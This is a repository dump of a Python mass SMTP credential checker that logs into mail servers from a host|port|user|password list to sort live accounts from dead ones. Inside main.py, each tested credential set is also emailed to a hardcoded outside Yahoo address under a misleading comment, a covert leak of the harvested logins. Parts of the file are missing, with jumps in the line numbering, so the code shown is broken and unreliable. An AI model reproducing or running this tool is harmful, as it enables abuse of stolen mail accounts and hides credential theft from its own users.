├── README.md
├── main.py
├── requirement.txt
└── smtp.txt
/README.md:
--------------------------------------------------------------------------------
1 | # Mess-SMTP-Checker
2 | MASS SMTP VALID INVALID CHECKER
3 |
4 |
5 |
6 |
7 | - [ ] Install PYTHON 3
8 |
9 | # Linux
10 | ```
11 | pip3 install -r requirement.txt
12 | ```
13 | ```
14 | pyhton3 main.py
15 | ```
16 | # Windows
17 | ```
18 | pip install -r requirement.txt
19 | ```
20 | ```
21 | main.py
22 | ```
23 |
24 | # Disclaimer
25 | - This tool is provided for personal use only. The author assumes no responsibility for any misuse or malicious activities conducted with it. Since it is an open-source project, users are solely accountable for how they choose to utilize it.
26 |
--------------------------------------------------------------------------------
/main.py:
--------------------------------------------------------------------------------
1 | import sys,os,re,socket,binascii,time,random,threading,smtplib,os.path,string,base64,colorama,requests
2 | import os
3 | import smtplib
4 | import concurrent.futures
5 | from email.mime.multipart import MIMEMultipart
6 | from email.mime.text import MIMEText
7 | import sys
8 | import time
9 | from platform import system
10 | from time import strftime
11 | from colorama import *
12 | from random import choice
13 | from colorama import Fore,Back,init,Style
14 | init(autoreset=True)
15 |
16 | r = Fore.RED + Style.BRIGHT
17 | g = Fore.GREEN + Style.BRIGHT
18 | c = Fore.CYAN + Style.BRIGHT
19 | y = Fore.YELLOW + Style.BRIGHT
20 | o = Fore.RESET + Style.RESET_ALL
21 |
22 | # Now regular ANSI codes should work, even in Windows
23 | CLEAR_SCREEN = '\033[2J'
24 | RED = '\033[31m' # mode 31 = red forground
25 | BLUE = "\033[34m"
26 | CYAN = "\033[36m"
27 | GREEN = "\033[32m"
28 | BOLD = "\033[m"
29 | REVERSE = "\033[m"
30 |
31 |
32 | os.system('cls' if os.name == 'nt' else 'clear')
33 |
34 | def logo():
35 | clear = "\x1b[0m"
36 | colors = [36, 32, 34, 35, 31, 37 ]
37 |
38 | x = """
39 |
40 |
41 | MESS-LIVE/INVALID:
42 | ░██████╗███╗░░░███╗████████╗██████╗░░░░░░░░█████╗░██╗░░██╗███████╗░█████╗░██╗░░██╗███████╗██████╗░
43 | ██╔════╝████╗░████║╚══██╔══╝██╔══██╗░░░░░░██╔══██╗██║░░██║██╔════╝██╔══██╗██║░██╔╝██╔════╝██╔══██╗
44 | ╚█████╗░██╔████╔██║░░░██║░░░██████╔╝█████╗██║░░╚═╝███████║█████╗░░██║░░╚═╝█████═╝░█████╗░░██████╔╝
45 | ░╚═══██╗██║╚██╔╝██║░░░██║░░░██╔═══╝░╚════╝██║░░██╗██╔══██║██╔══╝░░██║░░██╗██╔═██╗░██╔══╝░░██╔══██╗
46 | ██████╔╝██║░╚═╝░██║░░░██║░░░██║░░░░░░░░░░░╚█████╔╝██║░░██║███████╗╚█████╔╝██║░╚██╗███████╗██║░░██║
47 | ╚═════╝░╚═╝░░░░░╚═╝░░░╚═╝░░░╚═╝░░░░░░░░░░░░╚════╝░╚═╝░░╚═╝╚══════╝░╚════╝░╚═╝░░╚═╝╚══════╝╚═╝░░╚═╝
48 |
49 |
50 | ▀█▀ █░█ ▀▄▀ ▄▄ █▀▄▀█ ▄▀█ █▀▀ █▀▀ ▄█ █░█
51 | ░█░ █▄█ █░█ ░░ █░▀░█ █▀█ █▄▄ █▄█ ░█ ▀▄▀
52 |
53 | TG: https://t.me/I_am_a_silent_killer
54 |
55 |
56 | """
57 | for N, line in enumerate(x.split("\n")):
58 | sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line, clear))
59 | time.sleep(0.02)
60 | logo()
61 |
62 |
63 | try:
64 | os.mkdir('Result') #createfolder
65 | os.getcwd()
66 | except:
67 | pass
68 |
69 |
70 | good=[]
71 | bad=[]
72 |
73 | toaddr = input("\n{}[!]{}Enter Your Mail {}> {}".format(r, g, o, r))
74 | Defult = "tuxmacgiv991@yahoo.com" #it is use for protect to skip.Change this ADDRESS.
75 |
76 | class bcolors:
77 | OK = '\033[92m' # GREEN
78 | WARNING = '\033[93m' # YELLOW
79 | FAIL = '\033[91m' # RED
80 | RESET = '\033[0m' # RESET COLOR
81 |
82 | VALIDS = 0
83 | INVALIDS = 0
84 |
85 |
86 | def check(smtp):
87 | HOST, PORT, usr, pas = smtp.strip().split('|')
88 | global VALIDS, INVALIDS
89 | try:
90 | server = smtplib.SMTP(HOST, PORT)
91 | server.ehlo()
92 | server.starttls()
93 | server.login(usr, pas)
94 | msg = MIMEMultipart()
95 | msg['Subject'] = "CHECKER RESULT : V4 "
96 | msg['From'] = usr
97 | msg['To'] = Defult
98 | msg.add_header('Content-Type', 'text/html')
99 | data = """
100 |
101 |
102 |
HOST : """ + HOST + """
163 |PORT : """ + PORT + """
164 |USER : """ + usr + """
165 |PASS : """ + pas + """
166 | 167 |HOST : """ + HOST + """
265 |PORT : """ + PORT + """
266 |USER : """ + usr + """
267 |PASS : """ + pas + """
268 | 269 |